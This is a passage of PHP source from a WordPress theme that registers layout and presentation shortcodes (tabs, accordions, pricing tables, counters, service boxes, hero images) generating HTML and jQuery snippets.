$lastshortcodeclass=''; if ($last=="yes") { $lastclass = ' clearfix'; $lastshortcodeclass = ' last-shortcode-column'; } $column = '<div class="shortcode-column span'.$span.$lastshortcodeclass.$lastclass.'">'; $column .= do_shortcode(trim($content)); $column .= '</div>'; return $column; } add_shortcode('column', 'mtheme_Column'); //Toggle [toggle] text [/toggle] function mtheme_Toggle( $atts, $content = null ) { extract(shortcode_atts(array( "title" => 'Toggle', "state" => 'closed' ), $atts)); $toggle_status=""; if ($state=="open") { $toggle_status="active"; } $toggle = '<div class="toggle-shortcode-wrap clearfix">'; $toggle .= '<h2 class="toggle-shortcode '.$toggle_status.'">' . $title . '</h2>'; $toggle .= '<div class="toggle-container toggle-display-'.$state.'">'; $toggle .= wpautop( html_entity_decode($content) ); $toggle .= '</div>'; $toggle .= '</div>'; //$toggle = do_shortcode($toggle); return $toggle; } add_shortcode('toggle', 'mtheme_Toggle'); //Highlight [highlight] text [/highlight] function mtheme_Highlight( $atts, $content = null ) { return '<span class="highlight">' . do_shortcode($content) . '</span>'; } add_shortcode('highlight', 'mtheme_Highlight'); //Big Italic function mtheme_big_italic( $atts, $content = null ) { $big_italic = '<div class="big-italic">' . do_shortcode($content) . '</div>'; return $big_italic; } add_shortcode('big_italic', 'mtheme_big_italic'); //Pullquote Right [pullquote_right] text [/pullquote_right] function mtheme_Pullquote( $atts, $content = null ) { extract( shortcode_atts( array( 'align' => 'center', 'animated'=> 'none' ), $atts ) ); if ($animated != 'none') { $animated = 'animation-standby animated ' .$animated; } $pullquote_left_symbol =''; $pullquote_right_symbol =''; $pullquote = '<div class="pullquote-'.$align.' '.$animated.'">' . do_shortcode( $pullquote_left_symbol . wpautop( html_entity_decode($content) ) . $pullquote_right_symbol ) . '</div>'; return $pullquote; } add_shortcode('pullquote', 'mtheme_Pullquote'); /* Lightbox */ function mtheme_Lightbox( $atts, $content = null ) { extract(shortcode_atts(array( "lightbox_url" => '', "lightbox_video_url" => '', "thumbnail_url" => '', "title" => '', 'align' => '' ), $atts)); $magnific_type = "magnific-image"; if ($lightbox_video_url<>"") { $lightbox_url=$lightbox_video_url; $magnific_type = "magnific-video"; } $lightbox = '<div class="lightbox-shortcode gridblock-grid-element gridblock-element-inner"> <div class="gridblock-background-hover"> <div class="gridblock-links-wrap"> <a href="'.$lightbox_url.'" title="'.$title.'" class="column-gridblock-icon" data-lightbox="'.$magnific_type.'"> <span class="hover-icon-effect"> <i class="feather-icon-maximize"></i> </span> </a> </div> </div> <img class="displayed-image" alt="thumbnail-image" src="'.$thumbnail_url.'"> </div>'; return $lightbox;// . $imagesrc . $after; } add_shortcode('lightbox', 'mtheme_Lightbox'); //Picture frame [pictureframe] function mtheme_PictureFrame( $atts, $content = null ) { extract(shortcode_atts(array( "width" => '150', "height" => '', "zoom" => '', "title" => 'Untitled', "align" => 'none', "link" => 'none', "lightbox" => 'true', "image" => '' ), $atts)); $quality=MTHEME_IMAGE_QUALITY; $class="none"; $before=''; $after=''; $fade=''; $img_align=''; if ( $height=="" || $height==0 ) { $height="auto"; } else { $height=$height . "px"; } $width=$width . "px"; if ($align=="left") {$img_align="img-align-left";} if ($align=="right") {$img_align="img-align-right";} if ($align=="center") {$img_align="img-align-center";} if ($link<>"") { $before='<a title="'.$title.'" href="'. $link . '">'; $after='</a>'; $fade="portfolio-fadein"; } if ($lightbox=="true") { $before='<a data-lightbox="magnific-image" title="'.$title.'" href="'. $image . '">'; $after='</a>'; $fade="pictureframe-image"; } $class="pictureframe " . $img_align . " " . $fade; $imagesrc = '<img src="'. $image . '" class="'.$class.'" style="width:' . $width .'; height:'. $height .'" alt="thumbnail" />'; return $before . $imagesrc . $after; } add_shortcode('pictureframe', 'mtheme_PictureFrame'); /* * jQuery UI - Tabs shortcode */ global $olt_tab_shortcode_count, $olt_tab_shortcode_tabs; $olt_tab_shortcode_count = 0; function mtheme_display_shortcode_tab($atts,$content) { global $olt_tab_shortcode_count, $post, $olt_tab_shortcode_tabs; extract(shortcode_atts(array( 'title' => null, 'class' => null, ), $atts)); if (!is_array($olt_tab_shortcode_tabs)) { $olt_tab_shortcode_tabs=array(); } ob_start(); if($title): $olt_tab_shortcode_tabs[] = array( "title" => $title, "id" => preg_replace("#[^a-z0-9\.]#i", "", $title)."-".$olt_tab_shortcode_count, "class" => $class ); ?><div id="<?php echo preg_replace("#[^a-z0-9\.]#i", "", $title)."-".$olt_tab_shortcode_count; ?>" > <div class="tab-contents"> <?php $content = wpautop(html_entity_decode($content)); echo do_shortcode( $content ); ?> </div> </div><?php elseif($post->post_title): $olt_tab_shortcode_tabs[] = array( "title" => $post->post_title, "id" => preg_replace("#[^a-z0-9\.]#i", "", $post->post_title)."-".$olt_tab_shortcode_count, "class" =>$class ); ?><div id="<?php echo preg_replace("#[^a-z0-9\.]#i", "", $post->post_title)."-".$olt_tab_shortcode_count; ?>" > <?php $content = html_entity_decode($content); echo do_shortcode( $content ); ?> </div><?php else: ?> <span style="color:red">Please enter a title attribute like [tab title="title name"]tab content[tab]</span> <?php endif; $olt_tab_shortcode_count++; return ob_get_clean(); } function mtheme_display_shortcode_tabs( $attr, $content ) { // wordpress function extract(shortcode_atts(array( 'type' => "horizontal" ), $attr)); global $olt_tab_shortcode_count,$post, $olt_tab_shortcode_tabs; $olt_tab_shortcode_tabs=""; $vertical_tabs = ""; if( isset( $attr['vertical_tabs']) ): $vertical_tabs = ( (bool)$attr['vertical_tabs'] ? "vertical-tabs": ""); unset($attr['vertical_tabs']); endif; // $attr['disabled'] = (bool)$attr['disabled']; if ( isset($attr['collapsible']) ) $attr['collapsible'] = (bool)$attr['collapsible']; $query_atts = shortcode_atts( array( 'collapsible' => false, 'event' =>'click' ), $attr); // there might be a better way of doing this $id = "random-tab-id-".rand(0,1000); ob_start(); ?> <div class="clearfix" id="<?php echo $id ?>" class="tabs-shortcode <?php echo $vertical_tabs; ?>"><?php $content = (substr($content,0,6) =="<br />" ? substr( $content,6 ): $content); $content = str_replace("]<br />","]",$content); $str = do_shortcode( $content ); ?> <ul> <?php $tab_counter=0; foreach( $olt_tab_shortcode_tabs as $li_tab ): $tab_counter++; ?><li <?php if( $li_tab['class']): ?> class='<?php echo $li_tab['class'];?>' <?php endif; ?> ><a href="#<?php echo $li_tab['id']; ?>"><?php echo $li_tab['title']; ?></a></li><?php endforeach; ?></ul><?php echo $str; ?></div> <?php if ($type!="vertical") { ?> <style>/* <![CDATA[ */ <?php $css_tab_length= 100/$tab_counter; echo '#' . $id . ' .ui-tabs-nav li { width:'. $css_tab_length .'%;}'; ?> /* ]]> */ </style> <?php } ?> <script type="text/javascript"> /* <![CDATA[ */ jQuery(document).ready(function($) { <?php if ( $type != "vertical" ) { ?> jQuery("#<?php echo $id ?>").tabs(<?php echo json_encode($query_atts); ?> ); <?php } else { ?> jQuery("#<?php echo $id ?>").tabs().addClass( "ui-tabs-vertical ui-helper-clearfix" ); jQuery("#<?php echo $id ?> li").removeClass( "ui-corner-top" ).addClass( "ui-corner-left" ); <?php } ?> }); /* ]]> */ </script> <?php $post_content = ob_get_clean(); return str_replace("\r\n", '',$post_content); } function olt_tabs_shortcode_init() { add_shortcode('tab', 'mtheme_display_shortcode_tab'); // Individual tab add_shortcode('tabs', 'mtheme_display_shortcode_tabs'); // The shell } add_action('init','olt_tabs_shortcode_init'); global $olt_accordion_shortcode_count; $olt_accordion_shortcode_count = 0; function mtheme_accordiontab($atts,$content) { global $olt_accordion_shortcode_count,$post; extract(shortcode_atts(array( 'title' => null, 'class' => null, ), $atts)); ob_start(); if($title): ?> <h3 ><a href="#<?php echo preg_replace("#[^a-z0-9\.]#i", "", $title)."-".$olt_accordion_shortcode_count; ?>"><?php echo $title; ?></a></h3> <div class="accordian-shortcode-content <?php echo $class; ?>" > <?php $content = wpautop(html_entity_decode($content) ); echo do_shortcode( $content ); ?> </div> <?php elseif($post->post_title): ?> <div id="<?php echo preg_replace("#[^a-z0-9\.]#i", "", $post->post_title)."-".$olt_accordion_shortcode_count; ?>" > <?php $content = html_entity_decode($content); echo do_shortcode( $content ); ?> </div> <?php else: ?> <span style="color:red">Please enter a title attribute like [accordion title="title name"]accordion content[accordion]</span> <?php endif; $olt_accordion_shortcode_count++; return ob_get_clean(); } function mtheme_accordiontabs($attr,$content) { // wordpress function global $olt_accordion_shortcode_count,$post; if (isset($attr['autoHeight'])) $attr['autoHeight'] = (bool)$attr['autoHeight']; if (isset($attr['disabled'])) $attr['disabled'] = (bool)$attr['disabled']; if ($attr['active']==-1) { $attr['active'] = (bool)$attr['active']; } else { $attr['active'] = (int)$attr['active']; } if (isset($attr['clearStyle'])) $attr['clearStyle'] = (bool)$attr['clearStyle']; if (isset($attr['collapsible'])) $attr['collapsible'] = (bool)$attr['collapsible']; if (isset($attr['fillSpace'])) $attr['fillSpace']= (bool)$attr['fillSpace']; $query_atts = shortcode_atts( array( 'heightStyle' => 'content', 'autoHeight' => false, 'disabled' => false, 'active' => 0, 'animated' => 'slide', 'clearStyle' => false, 'collapsible' => true, 'event'=>'click', 'fillSpace'=>false ), $attr); // there might be a better way of doing this $id = "random-accordion-id-".rand(0,1000); $content = (substr($content,0,6) =="<br />" ? substr($content,6): $content); $content = str_replace("]<br />","]",$content); ob_start(); ?> <div id="<?php echo $id ?>" class="wp-accordion accordions-shortcode"> <?php echo do_shortcode( $content ); ?> </div> <script type="text/javascript"> /* <![CDATA[ */ jQuery(document).ready( function($){ jQuery("#<?php echo $id ?>").accordion(<?php echo json_encode($query_atts); ?> ); }); /* ]]> */ </script> <?php $post_content = ob_get_clean(); return str_replace("\r\n", '',$post_content); } function olt_accordions_shortcode_init() { add_shortcode('accordion', 'mtheme_accordiontab'); // Individual accordion add_shortcode('accordions', 'mtheme_accordiontabs'); // The shell } add_action('init','olt_accordions_shortcode_init'); function mtheme_progressbar_group($atts, $content = null) { $progressbar = '<div class="progressbar-wrap">'; $progressbar .= do_shortcode($content); $progressbar .= '</div>'; return $progressbar; } add_shortcode('progress_group', 'mtheme_progressbar_group'); // Progress Bars function mtheme_progressbar($atts, $content = null) { extract(shortcode_atts(array( 'color' => null, 'unit' => '%' ), $atts)); $rgb = mtheme_shortcodefunction_hex_to_rgb($color); $rgb_css = $rgb[0] . ',' . $rgb[1] . ',' . $rgb[2]; $rgba_css = 'rgba(' . $rgb_css . ',0.1);'; $skill ='<h3 class="progressbar-title">'.$atts['title'].'<span class="skill-bar-percent">'.$atts['percentage'].$atts['unit'].'</span></h3>'; $skill .='<div style="background-color:'.$rgba_css.';" class="skillbar" data-percent="'.$atts['percentage'].'">'; $skill .='<div style="background-color:'.$color.';" class="skillbar-bar"></div>'; $skill .='</div>'; return $skill; } add_shortcode('progressbar', 'mtheme_progressbar'); // Counter function mtheme_counter($atts, $content = null) { extract(shortcode_atts(array( "size" => '150', "title" => '', "percentage" => '90', "textsize" => '32', "bgcolor" => '#f0f0f0', "fgcolor" => '#EC3939', "donutwidth" => '3' ), $atts)); if ($percentage>100) { $percentage="100"; } $uniqurePageID=get_the_id()."-".dechex(mt_rand(1,65535)); $counter = ''; $counter .= '<div class="donutcounter-wrap service-column">'; $counter .='<div class="donutcounter-item" id="donutchart-'.$uniqurePageID.'" data-percent="'.$percentage.'"></div>'; $counter .= '<div class="service-content">'; $counter .= '<h4>'.$title.'</h4>'; $counter .= '<div class="service-details">'. wpautop( html_entity_decode($content) ).'</div>'; $counter .= '</div>'; $counter .= '</div>'; $counter .=" <script> jQuery(document).ready(function($){ $('#donutchart-".$uniqurePageID."').waypoint(function() { $('#donutchart-".$uniqurePageID."').donutchart({ 'size': '".$size."', 'donutwidth': ".$donutwidth.", 'fgColor' : '".$fgcolor."', 'bgColor' : '".$bgcolor."', 'textsize': '".$textsize."' }); $('#donutchart-".$uniqurePageID."').donutchart('animate'); }, { offset: 'bottom-in-view',triggerOnce: true }); }); </script>"; return $counter; } add_shortcode('counter', 'mtheme_counter'); /* Font Awesome */ function mtheme_fontawesome($atts, $content = null) { extract( shortcode_atts( array( 'class' => 'fa fa-wrench' ), $atts )); $fontawesome = '<i class="'.$class.'"></i>'; return $fontawesome; } add_shortcode('fontawesome', 'mtheme_fontawesome'); // Dividers function mtheme_divider($atts, $content = null) { extract(shortcode_atts(array( 'title' => '', 'type' => '', 'textcolor' => '', 'textbackground' => '', 'style' => 'blank', 'top' => '30', 'bottom' => '' ), $atts)); $divider = ''; $stylecss ='margin-top:'.$top.'px;'; if ( isSet($bottom) && !empty($bottom) ) { $stylecss .= 'margin-bottom:'.$bottom.'px;'; } if ( $type == "{{type}}") { $type = ''; } if ( $type == "default") { $type = 'default-divider '; } if ( $type == "dark") { $type = 'dark-divider '; } if ( $type == "bright") { $type = 'bright-divider '; } $titlespan =''; if ( $title !='' ) { $titlespan = '<span class="divider-title">'.$title.'</span>'; } $divider .= '<div class="clearfix divider-common '.$type.' divider-'.$style.'" style="'.$stylecss.'">'.$titlespan.'</div>'; return $divider; } add_shortcode('divider', 'mtheme_divider'); // ################################### // Headings // ################################### function mtheme_heading($atts, $content = null) { extract(shortcode_atts(array( 'title' => '', 'subtitle' => '', 'align' => '', 'content_richtext' => '', 'animated' => 'none', 'size' => '3', 'style' => 'line', 'top' => '40', 'bottom' => '0', 'marginbottom' => '60', 'button' => '', 'width' => '', 'button_link' => '' ), $atts)); $divider = ''; if ( $bottom == "0" ) { $bottom = $top; } $textalign=''; if ($align<>'') { $textalign = ' style="text-align:'.$align.';"'; } if ($animated != 'none') { $animated = 'animation-standby animated ' .$animated; } $titletag = '<h'. $size .' class="section-title">'.$title.'</h'.$size.'>'; if (isSet($top) && trim($top) > 0 ) { $top = $top . 'px'; } if (isSet($bottom) && trim($bottom) > 0 ) { $bottom = $bottom . 'px'; } if (isSet($width) && trim($width) > 0 ) { $width = 'width:' . $width . '%;'; } else { $width=''; } $heading = '<div class="section-heading '.$animated.' section-align-'.$align.'" style="'.$width.'padding-top:'.$top.';padding-bottom:'.$bottom.';margin-bottom:'.$marginbottom.'px;">'; $heading .= $titletag; if ( trim($subtitle) ) { $heading .= '<h3 class="section-subtitle">'.$subtitle.'</h3>'; } $heading .= '<div class="section-end"></div>'; if ( trim($content_richtext) ) { $heading .= '<div class="section-contents clearfix">'.wpautop( html_entity_decode($content_richtext) ).'</div>'; } if (!empty($button)) { $heading .= ' <a href="'.esc_url($button_link).'"> <div class="mtheme-button animation-standby animated pulse"> '.$button.' </div> </a>'; } $heading .= '</div>'; return $heading; } add_shortcode('heading', 'mtheme_heading'); // ################################### // Information Box // ################################### function mtheme_infobox($atts, $content = null) { global $iconplace,$iconcolor,$iconbackground; $iconplace=''; $iconcolor=''; $iconbackground=''; $servicebox=''; extract(shortcode_atts(array( 'column' => '4', 'boxplace' => 'horizontal', 'layout' => 'icon-with-title', 'iconplace' => 'left', 'iconcolor' => '', 'iconbackground' => '' ), $atts)); $alignicon = "alignicon-top"; if ($iconplace == "left") $alignicon = "alignicon-left"; if ($iconplace == "right") $alignicon = "alignicon-right"; $servicebox .= '<div class="service-column service-info-box service-column-'.$column.' service-boxes-'.$layout.' '.$alignicon.' '.$alignicon.'-'.$boxplace.' serviceboxes-'.$boxplace.' clearfix">'; $servicebox .= do_shortcode($content); $servicebox .= '</div>'; return $servicebox; } add_shortcode('infobox', 'mtheme_infobox'); // ################################### // Information Item // ################################### function mtheme_infobox_item($atts, $content = null) { extract(shortcode_atts(array( 'title' => '', 'link' => '', 'linktext' => '', 'image' => '', 'last_item' => 'no' ), $atts)); $service = ''; $iconcolor_css=''; $iconbackground_css=''; $service_icon=''; global $iconplace,$iconcolor,$iconbackground; $iconsize = "fa fa-2x"; if ($iconcolor) $iconcolor_css = 'color:' .$iconcolor. ';'; if ($image) $service_image = '<img class="service-image" src="'.$image.'" alt="info-image" />'; if ( $link <>"" ) { $service_image = '<a class="service-image-link" href="'.esc_url($link).'" >' . $service_image . '</a>'; } $column_edge="service-item-space"; if ($last_item=="yes") { $column_edge="clearfix"; } if ($last_item=="builder") { $column_edge=""; } $service .= '<div class="service-column service-item '.$column_edge.'">'; //if ( $link <>"" ) { $title = '<a href="'.esc_url($link).'" >' . $title . '</a>'; } if ($image) $service .= $service_image; $service .= '<div class="service-content">'; $service .= '<h4>'.$title.'</h4>'; $service .= '<div class="service-details">'; $service .= wpautop( html_entity_decode($content) ); if ($link!='' && $linktext!='' ) { $service .= '<div class="subtle-fade readmore-service"><a href="'.esc_url($link).'">'.$linktext.'</a></div>'; } $service .= '</div>'; $service .= '</div>'; $service .= '</div>'; return $service; } add_shortcode('infobox_item', 'mtheme_infobox_item'); // ################################### // ImageBox // ################################### function mtheme_imagebox_item($atts, $content = null) { extract(shortcode_atts(array( 'title' => '', 'icon' => '', 'link' => '', 'target' => '', 'linktext' => '', 'displaytype' => '', 'image' => '', 'last_item' => 'no' ), $atts)); if ($target <> "_blank") { $target == "_self"; } $the_content = wpautop( html_entity_decode($content) ); $contentbox = ''; $contentbox .= '<div class="imagebox-content-'.$displaytype.' imagebox-content-wrap">'; $contentbox .= '<div class="imagebox-box">'; if ( $title || $the_content ) { if ($title) { if ($link<>"" && $displaytype<>"inside") { $contentbox .= '<a class="textlink" target="'.esc_attr($target).'" href="'.esc_url($link).'">'; } $contentbox .= '<div class="imagebox-title">' . $title . '</div>'; if ($link<>"" && $displaytype<>"inside") { $contentbox .= '</a>'; } } if ($the_content) { $contentbox .= '<div class="imagebox-desc">' . $the_content . '</div>'; } } $contentbox .= '</div>'; $contentbox .= '</div>'; $imagebox = ''; $imagebox .= '<div class="imagebox-item-wrap imagebox-item-wrap-'.$displaytype.'">'; if ($displaytype=="above") { $imagebox .= $contentbox; } $imagebox .= '<div class="imagebox-item">'; $imagebox .= '<div class="imagebox-item-inner">'; if ($link<>"") { $imagebox .= '<a target="'.esc_attr($target).'" href="'.esc_url($link).'">'; } $imagebox .= mtheme_display_post_image ( get_the_id(), $have_image_url = $image, $imagelink =false, $type = "gridblock-full", $imagetitle = $title, $class="imagebox-image", $navigation=false ); if ($link<>"") { $imagebox .= '<div class="imagebox-icon"><i class="'.$icon.'"></i></div>'; } if ($displaytype=="inside") { $imagebox .= $contentbox; } if ($link<>"") { $imagebox .= '</a>'; } $imagebox .= '</div>'; $imagebox .= '</div>'; if ($displaytype=="below") { $imagebox .= $contentbox; } $imagebox .= '</div>'; return $imagebox; } add_shortcode('imagebox_item', 'mtheme_imagebox_item'); // ################################### // Service Box // ################################### function mtheme_servicebox($atts, $content = null) { global $iconplace,$iconcolor,$iconbackground,$iconbackground_opacity,$iconborder,$animated,$boxplace; $iconplace=''; $iconcolor=''; $animated=''; $iconbackground=''; $iconbackground_opacity=''; $servicebox=''; $boxplace=''; $iconborder = ''; extract(shortcode_atts(array( 'column' => '4', 'boxplace' => 'horizontal', 'layout' => 'icon-with-title', 'iconplace' => 'left', 'iconcolor' => '', 'iconborder' => 'true', 'iconbackground' => '', 'animated' => 'none', 'iconbackground_opacity' => '' ), $atts)); $alignicon = "alignicon-top"; if ($iconplace == "left") $alignicon = "alignicon-left"; if ($iconplace == "right") $alignicon = "alignicon-right"; if ($iconborder=="false") { $iconborder="no-border"; } if ($animated != 'none' && $boxplace=="horizontal" ) { $animated = 'animation-standby animated ' .$animated; } $servicebox .= '<div class="service-column '.$animated.' service-column-'.$column.' service-boxes-'.$layout.' '.$iconborder.' '.$alignicon.' '.$alignicon.'-'.$boxplace.' serviceboxes-'.$boxplace.' clearfix">'; $servicebox .= do_shortcode( wpautop(html_entity_decode($content)) ); $servicebox .= '</div>'; return $servicebox; } add_shortcode('servicebox', 'mtheme_servicebox'); // ################################### // Service Item // ################################### function mtheme_servicebox_item($atts, $content = null) { extract(shortcode_atts(array( 'title' => '', 'link' => '', 'linktext' => '', 'icon' => '', 'pagebuilder' =>'', 'last_item' => 'no' ), $atts)); $link=trim($link); $service = ''; $iconcolor_css=''; $iconbackground_css=''; $iconbackground_rgba_css=''; $iconborder_css=''; $service_icon=''; global $iconplace,$animated,$iconcolor,$iconbackground,$iconbackground_opacity,$iconborder,$boxplace; if ($animated != 'none' && $boxplace=="vertical" ) { $animated = 'animation-standby animated ' .$animated; } $iconsize = "fa-2x"; if ($iconcolor) { $iconcolor_css = 'color:' . $iconcolor. ';'; } if ($iconbackground) { $iconbackground_css = 'background-color:' .$iconbackground. ';'; if ($iconbackground_opacity) { $rgb = mtheme_shortcodefunction_hex_to_rgb($iconbackground); $rgb_css = $rgb[0] . ',' . $rgb[1] . ',' . $rgb[2]; $iconbackground_rgba_css = 'background-color: rgba(' . $rgb_css . ',' . $iconbackground_opacity. ');'; } } if ($iconborder=="true") { $iconborder_css = 'border-color:'.$iconcolor. ';'; } else { $iconborder_css = ''; } if ( $iconplace =="top" ) { $iconsize = ""; } if ( $boxplace =="vertical" ) { $iconsize = ""; } if ($icon) $service_icon .= '<div data-iconcolor="'.$iconcolor.'" data-bgcolor="'.$iconbackground.'" class="service-icon"><i style="'. $iconcolor_css . $iconbackground_css . $iconbackground_rgba_css . $iconborder_css . '" class="fontawesome in-circle '.$iconsize.' '.$icon.'"></i></div>'; $column_edge="service-item-space"; if ($last_item=="yes") $column_edge="clearfix"; if ($pagebuilder=="active") { $column_edge=""; } $service .= '<div class="service-item '.$animated.' '.$column_edge.'">'; if ( $link <>"" ) { $title = '<a href="'.esc_url($link).'" >' . $title . '</a>'; } if ($icon) $service .= $service_icon; $service .= '<div class="service-content">'; $service .= '<h4>'.$title.'</h4>'; $service .= '<div class="service-details">'; $service_content = do_shortcode($content); $service .= wpautop( html_entity_decode($service_content) ); if ($link!='' && $linktext!='' ) { $service .= '<div class="subtle-fade readmore-service"><a href="'.esc_url($link).'">'.$linktext.'</a></div>'; } $service .= '</div>'; $service .= '</div>'; $service .= '</div>'; return $service; } add_shortcode('servicebox_item', 'mtheme_servicebox_item'); // ################################### // Callout Message // ################################### function mtheme_callout_msg($atts, $content = null) { extract(shortcode_atts(array( 'title' => '', 'type' => '', 'description' => '', 'button' => '', 'animated' => 'none', 'button_color' =>'', 'button_icon' =>'', 'button_type' =>'', 'button_text' =>'', 'button_link' => '' ), $atts)); if ($animated != 'none') { $animated = 'animation-standby animated ' .$animated; } $service = ''; $iconcolor_css=''; $iconbackground_css=''; $service_icon=''; $callout = '<div class="callout-wrap '.$animated.' calltype-'.$type.' clearfix">'; $callout .= '<div class="callout clearfix">'; $callout .= '<div class="first-half">'; $callout .= '<h2 class="callout-title">'.$title.'</h2>'; $callout .= '<div class="callout-desc">'. wpautop( html_entity_decode($description) ) .'</div>'; $callout .= '</div>'; if (isSet($button_text) && !empty($button_text)) { $callout .= '<div class="second-half">'; $callout .= '<div class="callout-button">'; $callout .= do_shortcode('[button link="'.$button_link.'" button_icon="'.$button_icon.'" button_color="'.$button_color.'"]'.$button_text.'[/button]'); $callout .= '</div>'; $callout .= '</div>'; } $callout .= '</div>'; $callout .= '</div>'; return $callout; } add_shortcode('callout', 'mtheme_callout_msg'); // ################################### // Pricing Table // ################################### function mtheme_pricing_table($atts, $content = null) { extract(shortcode_atts(array( 'columns' => '4', 'service' => 'false' ), $atts)); global $pricing_columns; $pricing_columns = "column".$columns; $service_class=''; if ($service == 'true') { $service_class = "pricing-table-service "; } $pricing_table = '<div class="pricing-table '.$service_class.'clearfix">'; $pricing_table .= do_shortcode($content); $pricing_table .= '</div>'; return $pricing_table; } add_shortcode('pricing_table', 'mtheme_pricing_table'); // ################################### // Pricing Column // ################################### function mtheme_pricing_column($atts, $content = null) { extract(shortcode_atts(array( 'title' => '', 'title_bgcolor' =>'', 'type' => '1', 'animated' => 'none', 'topspace' => '175', 'featured' => 'false' ), $atts)); global $pricing_columns; if ($animated != 'none') { $animated = 'animation-standby animated ' .$animated; } $highlight=''; if ($featured=="true") $highlight="pricing_highlight"; $pricing_table = '<div style="background-color:'.$title_bgcolor.';" class="pricing-column-target '.$animated.' '.$pricing_columns.' '.$highlight.'">'; $pricing_table .= '<div class="pricing-column-type-'.$type.' pricing-column">'; if ($type=="2") { $pricing_table .= '<ul style="margin-top:'.$topspace.'px">'; } else { $pricing_table .= '<ul>'; } $pricing_table .= '<li class="pricing-title"><h2>'.$title.'</h2></li>'; $pricing_table .= do_shortcode($content); $pricing_table .= '</ul>'; $pricing_table .= '</div>'; $pricing_table .= '</div>'; return $pricing_table; } add_shortcode('pricing_column', 'mtheme_pricing_column'); // ################################### // Pricing Price // ################################### function mtheme_pricing_price($atts, $content = null) { extract(shortcode_atts(array( 'currency' => '$', 'price' => '17', 'duration' => 'Monthly' ), $atts)); $price_sep = explode('.',$price); $pricing_table = '<li class="pricing-section">'; $pricing_table .= '<div class="pricing-wrap">'; $pricing_table .= '<div class="pricing-cell">'; if ( !isSet($price_sep[1]) ) { $price_sep[1]=''; } $pricing_table .= '<span class="pricing-currency">'.$currency.'</span>'.$price_sep[0].'<span class="pricing-suffix">'.$price_sep[1].'</span>'; $pricing_table .= '</div>'; $pricing_table .= '<div class="pricing-duration">'.$duration.'</div>'; $pricing_table .= '</div>'; $pricing_table .= '</li>'; return $pricing_table; } add_shortcode('pricing_price', 'mtheme_pricing_price'); // ################################### // Pricing Service // ################################### function mtheme_pricing_service($atts, $content = null) { $pricing_service = '<div class="pricing-service">'; $content = wpautop( html_entity_decode($content) ); $pricing_service .= do_shortcode( $content ); $pricing_service .= '</div>'; return $pricing_service; } add_shortcode('pricing_service', 'mtheme_pricing_service'); // ################################### // Pricing Row // ################################### function mtheme_pricing_row($atts, $content = null) { extract(shortcode_atts(array( 'type' => '' ), $atts)); $pricing_table = '<li class="pricing-row pricing-tick-'.$type.'">'; if ($type=="tick") { $pricing_table .= '<i class="feather-icon-check"></i>'; } if ($type=="cross") { $pricing_table .= '<i class="feather-icon-cross"></i>'; } $pricing_table .= do_shortcode($content); $pricing_table .= '</li>'; return $pricing_table; } add_shortcode('pricing_row', 'mtheme_pricing_row'); // ################################### // Pricing Footer // ################################### function mtheme_pricing_footer($atts, $content = null) { extract(shortcode_atts(array( 'title' => 'Pricing' ), $atts)); $pricing_table = '<li class="pricing-footer">'; $pricing_table .= do_shortcode($content); $pricing_table .= '</li>'; return $pricing_table; } add_shortcode('pricing_footer', 'mtheme_pricing_footer'); // ################################### // FontAwesome // ################################### add_shortcode('icongenerator', 'mtheme_fontawesome_icon_gen'); function mtheme_fontawesome_icon_gen($atts, $content = null) { extract(shortcode_atts(array( 'size' => '', 'align' => 'center', 'icon' => 'feather-icon-disc', 'iconcolor' => '' ), $atts)); $css_style = 'font-size:'.$size.'px; color:'.$iconcolor.' !important;'; $fontawesome = '<div class="clearfix" style="text-align:'.$align.';">'; $fontawesome .= '<i style="'.$css_style.'" class="shortcode-fontawesome-icon '.$icon.'"'.'></i>'; $fontawesome .= '</div>'; return $fontawesome; } // ################################### // @ Since Version 2.4 // Counter // ################################### add_shortcode('count', 'mtheme_counter_timer'); function mtheme_counter_timer($atts, $content = null) { extract(shortcode_atts(array( 'icon' => '', 'from' => '0', 'title' => 'title', 'decimal_places' => '0', 'to' => '1000', 'iconcolor' => '', ), $atts)); $uniqueID=get_the_id()."-".dechex(mt_rand(1,65535)); $css_style = 'color:'.$iconcolor.' !important;'; $fontawesome = '<i style="'.$css_style.'" class="time-count-icon '.$icon.'"'.'></i>'; $counter = ''; $counter = '<div class="shortcode-time-counter-block service-column">'; $counter .= $fontawesome; $counter .= '<div class="time-count-data text-intensity-switch odometer time-count-class-'.$uniqueID.'" id="time-count-data-'.$uniqueID.'">0</div>'; $counter .= '<div class="service-content">'; $counter .= '<h4 class="text-intensity-switch-low">'.$title.'</h4>'; $counter .= '<div class="service-details">'; $counter .= do_shortcode($content); $counter .= '</div>'; $counter .= '</div>'; $counter .= '</div>'; $counter .=" <script> /* <![CDATA[ */ jQuery(document).ready(function($){ if ($.fn.waypoint) { $('.time-count-class-".$uniqueID."').waypoint(function() { $(this).html(".$to."); }, { offset: '70%' }); } }); /* ]]> */ </script>"; return $counter; } add_shortcode('anchor', 'mtheme_anchor'); function mtheme_anchor( $atts, $content = null ) { extract(shortcode_atts(array( 'id' => '#anchor' ), $atts)); $anchor = '<span id="'.$id.'" data-id="anchor"></span>'; return $anchor; } // ################################### // Hero Image // ################################### add_shortcode('heroimage', 'mtheme_heroimage'); function mtheme_heroimage( $atts, $content = null ) { extract(shortcode_atts(array( 'image' => '', 'text' => '', 'text_location' => 'middle', 'intensity' => 'light', 'link' => '', 'icon' => '', 'icon_image' => '', 'offsetclass' => 'outer-wrap', 'text_slide' => 'single', 'text_decoration' => 'none' ), $atts)); $output = '<div id="heroimage" class="heroimage-wrap textlocation-'.$text_location.' intensity-'.$intensity.' mtheme-parallax" data-stellar-background-ratio="0.5" style="background-image: url('.esc_url($image).');">'; if ($text_slide!="disable") { $output .= '<div class="hero-text-wrap"><ul class="'.$text_decoration.' '.$text_slide.'">'; $output .= do_shortcode($content); $output .= '</ul></div>'; } $output .= '<div class="mouse-pointer-wrap">'; $output .= '<div class="bright hero-link-to-base">'; if ($icon=="true") { $output .= '<div class="mouse-pointer"><div class="indication-animated indicate-bounce mouse-wheel"></div></div>'; } $output .= '</div>'; $link = trim($link); $text = trim($text); if ( isSet($link) && !empty($link) && isSet($text) && !empty($text) ) { $output .= '<a class="bright" href="'.esc_url($link).'">'; $output .= '<div class="hero-button mtheme-button animated pulse animation-action">'.esc_html($text).'</div>'; $output .= '</a>'; } $output .= '</div>'; $output .= '</div>'; return $output; } add_shortcode('heroimage_text', 'mtheme_heroimage_textslides'); function mtheme_heroimage_textslides($atts, $content = null) { extract(shortcode_atts(array( 'title' => '', 'subtitle' => '' ), $atts)); $output = ' <li> <h3 class="hero-subtitle"> '.esc_html($subtitle).' </h3> <h2 class="hero-title"> 